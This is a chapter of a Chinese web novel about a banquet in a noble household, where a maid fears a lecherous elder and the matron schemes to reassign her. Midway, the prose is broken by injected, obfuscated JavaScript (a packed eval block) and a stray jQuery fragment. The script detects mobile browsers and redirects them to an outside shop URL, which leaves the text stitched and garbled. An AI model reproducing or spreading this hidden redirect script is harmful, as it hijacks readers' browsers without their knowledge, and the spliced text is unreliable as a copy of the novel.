30. 你可得小心
作品:《妾步登天》 京师人马启程,谢湛就派人加急送了信来。
袁英华得了信,精神一振。
等到人马抵达延州城外,一面吩咐厨房备下精细宴席,一面又特意叫来谢坤,耳提面命:“你二弟难得回来,又是有头脸的官身,你需得恭敬些,莫要失了礼数。我已安排来金与你同去城门迎接,务必显得咱们诚意。”
府里丫鬟一半跟着三夫人去了京城,松风苑大奶奶跟前又离不得人。盘来算去锦绣手下三个丫头最得空闲,便让她又带了两个来帮衬。
宴客厅四角描金三足烛台和桌案上的铜鎏金嵌宝的和田玉烛台上都点了灯,恍如白昼。入门处搬了黑漆点翠万花献瑞围屏做隔,席面上铺猩红织金毡布,鎏金的碗碟杯箸依次排放,正中摆墨地彩瓷方瓶插四色牡丹。
连珠和兰儿被分派在次席附近传菜,两人垂手立在门边,只等外头的婆子用大托盘将菜端到门口,再由她们这样的小丫鬟接手。
夜已擦黑,门房处还没动静,袁英华执掌宴席早就在厅里打点,便是三老爷谢浔放衙回府也换了常服提前到了。
他今日一身软绸长衫,捏一柄角雕折扇,一下一下轻轻敲着另一只手的掌心。
那双细长风流的眸子带着几分漫不经心的玩味,缓缓扫视着厅中穿梭往来的丫鬟。
王素波一去京城,谢浔更是无人管束,自然愈加肆无忌惮。
门外春蜓绕过屏风,款步走到袁英华身边耳语几句。淡青色的衣料勾勒出少女纤细玲珑的腰身,叫谢浔视线落在她的胸前。
袁英华注意到谢浔赤/裸/裸的目光,眉头微皱,身子前倾挡住他的视线。
她早知这位三老爷风流成性,平日在外头眠花宿柳也就罢了,要是把主意打到她的丫鬟身上,是万万不许的。
“三叔,初夏风大,您这扇子...还是收一收的好,仔细伤身着凉。”袁英华斜睨他,又一闪而过嫌恶神情,移开目光。
谢浔如何不懂她话中深意,也不计较,只是将扇子“唰”地合上,满不在乎地笑笑:“大嫂说得是。只是咱们这侄子架子还真大,都这会儿还不见人影。”
袁英华也等得心焦,嘴里却道:“许是有什么事情耽搁了。”
厅中的气氛逐渐凝滞,等谢渊也遣人问了两回,门房的小厮才疾步跑到门口气喘吁吁地回话:“太太,大少爷、二少爷到府了!”
话音未落,厅中人的目光齐刷刷投向门口。
迈步先进的是谢坤,跟在他身后那人一步踏入灯火通明的厅堂,整个宴客厅似乎都静了一瞬。
那个在二夫人丧礼上苍白清瘦的少年身影已然模糊。眼前之人,身量竟比谢坤还要高出一个头,肩背宽阔挺直,将一身寻常箭袖常服撑得利落英挺。
连珠只抬眸看了一眼,便震惊于他一年半的时间变化如此之大。
猝不及防地,目光与那道扫视过全场的视线有了一瞬极短的交错。
那目光锐利如鹰隼,冷静深邃,在她脸上未作停留便已移开。可他眼神危险,与府中任何一位爷都不同,让连珠心头莫名一悸,下意识地攥紧了垂在身侧的指尖。
袁英华见谢垚如此英武,心中又喜又憎,只恨自己的孩儿不是这般人才。
谢垚对上三位长辈,上前几步,深深一揖:“侄儿谢垚,拜见伯父伯母。”
“来了就好,无需多礼,快坐吧。”
谢渊指了位置,见他撩袍落座,又多问一句:“不是说早就到了城外,怎么这么晚才到?”
“栖云山征招的丁夫突生事端,我随上官处置,这才耽搁了行程。”
“哦?可还要紧?”
“不过是几个丁夫偷着吃酒闹了起来,不是大事。”
袁英华见他形容威风,露出笑容顺着话头道:“公事为大,一家子亲戚等等无妨。”
她说罢,便吩咐上菜。
早备好热着的菜式流水般呈上,开胃的攒盒、热炒大菜、老汤小点,比之年节也不差什么。
连珠跟着端了芙蓉鸡片上桌,头垂得厉害,眼神只管落在手中托盘上,还是能感觉到席间有目光朝她投来。
她不敢细想是谁在看她,放了菜就紧跟着前头的人又退了回去。
席间吃了两盅酒,就听谢浔开口问道:“二郎这次领差,可在府里常住?”
谢垚放下筷箸道:“多谢三叔关心。此次公干专司皇寺修缮监看之责,并无旁务。大抵一月里,能有半月在府中落脚。”
袁英华闻言,心思又动,忙接口道:“修缮寺庙少不得要一两年之久。既是要在府里住上些日子,可带了足够的衣裳用物?你们常住京城,这院里的东西怕都不全了。”
“常用的物件,侄儿已让身边两个丫鬟从京城搭船送来,不日便到。”
“只带两个丫鬟?”袁英华道,“你虽不是日日在府中住着,但两个丫鬟未免也太少了些。初来乍到,又要打理你屋里一应事务,怕是忙不过来。你身边总不能没个府里用惯的人伺候着。”
谢渊也点了点头:“你伯母说得是,既在府中居住,起居饮食总需妥帖人照应。”
他说着又转向袁英华:“你回头斟酌着,拨几个个稳重机灵的过去。不要那些刚进府没调教好的,要府里用惯的知事的。”
“这是自然。”
两人如此安排,谢垚也不推拒,他便是回府来住,白日也是诸多事宜忙碌。下人丫鬟多就多用,少就少用,已是习惯了。
席上一派祥和,笑语如沸,独谢坤心中不爽快。他在城门等了两个时辰,没得半句安慰,人人只顾着他的好二弟,众星捧月将他抬到天上去。
走了个谢培,又来了个谢垚,真就是老天跟他过不去。
谢坤连喝了三杯酒,余光瞥见袁英华朝他使了眼色,心中一凛,立马将脸上的妒色隐去。
等宴席散了,谢垚只带了顺心顺意两个小厮回他那卧云居去。
主子们吃罢,留了一桌的残羹等着收拾,兰儿和连珠挤在一处,就听有宴客厅的丫头蹲着擦地小声嘀咕。
“原还道大少爷生得威严,气势足,不敢多看。可刚刚瞧着二少爷竟比戏文里的将军还精神!”
“听说在兵部手下管着上千号人呢!那可都是真刀真枪的军汉,能管住那些人,得多厉害?”
连珠听她们越说越没边,忍不住抿嘴笑起来。
兰儿见她绷着脸憋笑,一胳膊肘抵到她腰侧:“你美什么呢?可也是看那二少爷俊俏威风,心里高兴?”
“胡说八道。”连珠哪料兰儿会想到这上头去,斜了她一眼,抱着木盆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200315|195488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
往门口去。
兰儿年岁大了,愈发爱在这上头开玩笑,等收拾完,两人往清月阁走时,又旧事重提,说起闲话来。
“哎,少爷们生得再好,也是不相干。咱们这身份顶天了也就是个姨娘,只是这姨娘的日子也不好过,且看大少爷娶亲之后,松风苑那几位就知了。”
兰儿唉声叹气这一番话,连珠如何不知。春蝶是大夫人跟前喜和嬷嬷的侄女,大奶奶还留了两分脸面。其余的莲香惹怒了大奶奶,害她动了胎气被打发出府。紫笋顶嘴被罚跪在院中两个时辰,害了风寒,一命呜呼。
更别提玉露都没熬到谢坤娶亲。
连珠被她挽着手,小声道:“你既知道,方才还拿我打趣!”
“嘿嘿。”兰儿知道连珠脾性虽好,但却不喜在这事上玩笑,只好打岔道,“方才你端菜上桌,我瞧着三老爷乌眼鸡似的盯着你。我听说三老爷风流着呢,他院里的丫头没一个不沾手的...”
“真的!?”连珠被兰儿的话吓了一跳,她前时就觉得有人盯得她脖颈发寒,没想到竟是三老爷。
“真的,我瞧得真真的,连菜都不吃了,就顾着看你。你可得小心着。”
连珠跟着兰儿走了几步,已觉得周身冷了下来。身旁兰儿还在说些什么,她已是听不大清了,心头怕叫那好色风流的谢浔看上,另生出别的事端来。
等入了清月阁,拨水清面冷静下来。连珠才想自己好歹是谢培的丫鬟,谢浔再荒唐,也是长辈。一个长辈,手伸得再长,明面上总不好直接向隔房侄儿院里讨要丫鬟,那成什么体统?
只是近日少出门就是了,那三老爷不是个长情的,说不得又见了好的,就把她丢到脑后了。
连珠自己一番打算,却不知暮香堂里袁英华对着谢渊三两句话便算计着将她安排了。
暮香堂里,谢渊接了袁英华递来的茶,皱着眉头:“怎么,几个丫鬟还匀不出来?”
“老爷,您也说了要知情识趣、懂事周全的,府里拢共就那么些人,京城去了一拨,荣娘的跟前又不能离人,府里各处人手都紧...”
“这么大个府,还择不出人来?”
“倒也有合适的,只是...”
她说话说一半,叫谢渊听得心烦,打断道:“有话就说。”
袁英华脸上掠过一丝为难:“如今有得用的丫鬟也只有清月阁了,培儿明年才回来,他那院子里如今最是清闲,丫鬟婆子都是现成的,还有两个是在静修斋守过灵,都是在府里伺候久了的。”
谢渊闻言,思量片刻,摆了摆手:“无妨,培儿既不在,那些人闲着也是闲着。就按你说的,从清月阁拨两个过去伺候,留下一两个看屋即可。”
他说完,又想了想道:“老太太跟前的锦绣就别让她过去了,万一培儿回来,他院里总要个掌事的。”
袁英华闻言称是,扭身却露出个得意的笑。
谢培院里那个叫连珠的几次三番坏了她的事,听说还极得谢培的意。那丫头深居简出,要寻个错打杀了实要费些力气,倒不如趁这机会送到谢垚那里,真是再好不过。
总得在这些小事上惹了那崽子不高兴,自己才高兴了。
她缓缓饮了一口茶,压下唇边的冷笑,再转过身时脸上已恢复了一贯的端和。

